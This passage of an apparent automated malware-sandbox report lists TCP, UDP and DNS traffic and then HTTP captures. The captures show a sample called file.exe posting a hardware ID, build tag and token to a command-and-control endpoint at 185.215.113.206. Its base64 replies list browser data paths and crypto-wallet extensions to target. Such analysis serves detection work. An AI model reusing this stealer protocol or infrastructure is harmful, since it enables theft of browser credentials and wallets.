Oct 30, 2024 20:14:53.082680941 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.082771063 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.082906008 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.082917929 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.539110899 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.539593935 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.539613962 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.540050030 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.540055990 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.574249029 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.574662924 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.574681044 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.575021982 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.575026989 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.658683062 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.659516096 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.659535885 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.660022020 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.660027027 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.674056053 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.674124002 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.674298048 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.676940918 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.676940918 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.676954031 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.676960945 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.676965952 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.677006960 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.677067995 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.677189112 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.677196980 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.683196068 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.683511972 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.683520079 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.683892012 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.683896065 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.709069967 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.709352016 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.709453106 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.709472895 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.709485054 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.709502935 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.709507942 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.711822033 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.711855888 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.711930990 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.712069035 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.712078094 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.790517092 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.790760994 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.790821075 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.790868998 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.790887117 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.790896893 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.790900946 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.793665886 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.793695927 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.793931961 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.793931961 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.793963909 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.806602001 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.806981087 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.806992054 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.807415009 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.807420015 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.814601898 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.814661980 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.814706087 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.814809084 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.814820051 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.814830065 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.814834118 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.816854954 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.816873074 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.817101955 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.817101955 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.817123890 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.936459064 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.936490059 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.936538935 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.936542988 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.936582088 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.936918020 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.936923027 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:53.936934948 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:53.936939001 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.427997112 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.428462982 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.428494930 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.428877115 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.428883076 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.438807011 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.439078093 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.439099073 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.439392090 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.439395905 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.537172079 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.538206100 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.538237095 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.543302059 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.543311119 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.554452896 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.554843903 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.554855108 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.555180073 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.555185080 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.559561968 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.559613943 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.559659958 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.559806108 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.559820890 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.559828997 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.559834003 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.566174984 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.566351891 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.566407919 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.566451073 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.566462040 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.566472054 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.566478968 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.673438072 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.674006939 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.674083948 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.674113989 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.674129963 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.674140930 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.674145937 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.683269024 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.683612108 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.683680058 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.683712006 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.683722973 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:54.683739901 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:54.683744907 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 20:13:09.593878031 CET	53	53573	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:09.604192019 CET	53	58435	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:09.712225914 CET	53835	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:09.712518930 CET	63258	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:09.719675064 CET	53	53835	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:09.720510960 CET	53	63258	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:10.869627953 CET	53	51871	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:14.622275114 CET	60711	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:14.622556925 CET	54190	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:14.628524065 CET	53	51470	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:14.630342960 CET	53	60711	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:14.630567074 CET	53	54190	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:15.618216991 CET	64483	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:15.618379116 CET	52131	53	192.168.2.4	1.1.1.1
Oct 30, 2024 20:13:15.626358986 CET	53	64483	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:15.627834082 CET	53	52131	1.1.1.1	192.168.2.4
Oct 30, 2024 20:13:19.371238947 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 20:13:09.712225914 CET	192.168.2.4	1.1.1.1	0x4b74	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:13:09.712518930 CET	192.168.2.4	1.1.1.1	0x2b0d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 20:13:14.622275114 CET	192.168.2.4	1.1.1.1	0x8fd3	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:13:14.622556925 CET	192.168.2.4	1.1.1.1	0xde34	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 20:13:15.618216991 CET	192.168.2.4	1.1.1.1	0xfc41	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:13:15.618379116 CET	192.168.2.4	1.1.1.1	0x9706	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 20:13:09.719675064 CET	1.1.1.1	192.168.2.4	0x4b74	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:13:09.720510960 CET	1.1.1.1	192.168.2.4	0x2b0d	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 20:13:14.630342960 CET	1.1.1.1	192.168.2.4	0x8fd3	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 20:13:14.630342960 CET	1.1.1.1	192.168.2.4	0x8fd3	No error (0)	plus.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 20:13:14.630567074 CET	1.1.1.1	192.168.2.4	0xde34	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 20:13:15.626358986 CET	1.1.1.1	192.168.2.4	0xfc41	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

fs.microsoft.com

apis.google.com

slscr.update.microsoft.com

play.google.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 20:13:00.400638103 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 20:13:01.302176952 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:01.304425955 CET	410	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKE Host: 185.215.113.206 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 36 41 39 43 46 30 31 38 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"5D6A9CF018FF9645207------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"tale------JDAFHCGIJECFHIDGDBKE--
Oct 30, 2024 20:13:01.595145941 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 49 79 5a 44 45 78 5a 6a 59 32 5a 57 4e 69 59 32 51 77 4f 54 41 34 4e 47 59 79 5a 6a 55 77 5a 54 6b 34 59 6a 4d 35 4f 47 49 77 59 6a 46 6c 5a 6a 51 30 4f 44 45 33 59 6d 49 34 4d 7a 51 33 5a 6d 4a 6d 4d 44 56 68 4e 32 59 7a 5a 6a 49 77 59 54 49 78 59 54 41 77 5a 54 41 34 4d 7a 52 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODIyZDExZjY2ZWNiY2QwOTA4NGYyZjUwZTk4YjM5OGIwYjFlZjQ0ODE3YmI4MzQ3ZmJmMDVhN2YzZjIwYTIxYTAwZTA4MzRhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 30, 2024 20:13:01.596370935 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"browsers------HJEHIJEBKEBFBFHIIDHI--
Oct 30, 2024 20:13:01.876619101 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 30, 2024 20:13:01.876641989 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 30, 2024 20:13:01.877973080 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="message"plugins------DGCAAFBFBKFIDGDHJDBK--
Oct 30, 2024 20:13:02.157860994 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 